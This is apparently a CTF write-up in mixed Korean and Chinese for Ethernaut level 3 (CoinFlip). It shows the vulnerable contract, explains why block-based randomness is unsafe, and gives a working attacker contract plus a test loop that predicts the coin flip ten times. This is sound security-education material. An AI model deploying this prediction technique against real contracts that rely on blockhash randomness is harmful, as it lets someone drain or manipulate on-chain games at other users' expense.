Ethernaut 시스템-레벨 3(CoinFlip)

7764 단어

레벨 3 (코인플립)




// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}


通关要求



연속 승리 = 10

要点


  • 合约的存储变量,包含private,对外都是可见的,例如通过
    web3.eth.getStorageAt(address, position)查看
    具體变量在哪个position,会根据变量类型计算,不是按变量顺序123,可能被压缩
    답:
    https://docs.soliditylang.org/en/v0.8.14/internals/layout_in_storage.html
  • 不要根据block变量来做随机的依据(包括number/timestamp等等),这些都是不安全的

  • 解题思路



    直接复制代码,생성추측
    계약/03CoinFlipRun.sol

    interface ILevel {
        function flip(bool _guess) external returns (bool);
    }
    
    contract CoinFlipRun {    
        uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    
        function run(address _levelAddress) external {
            //从原合约复制过来的代码
            uint256 blockValue = uint256(blockhash(block.number - 1));
            uint256 coinFlip = blockValue/FACTOR;
            bool side = coinFlip == 1 ? true : false;        
            ILevel(_levelAddress).flip(side);
        }
    }
    


    注意不要在soldity循环10次,要多次事务调用

    test/03CoinFlip.js

      it("attacks", async function () {
        for (let i = 0; i < 10; i++) {
          await runContract.run(levelContract.address);
        }
      });
    

    좋은 웹페이지 즐겨찾기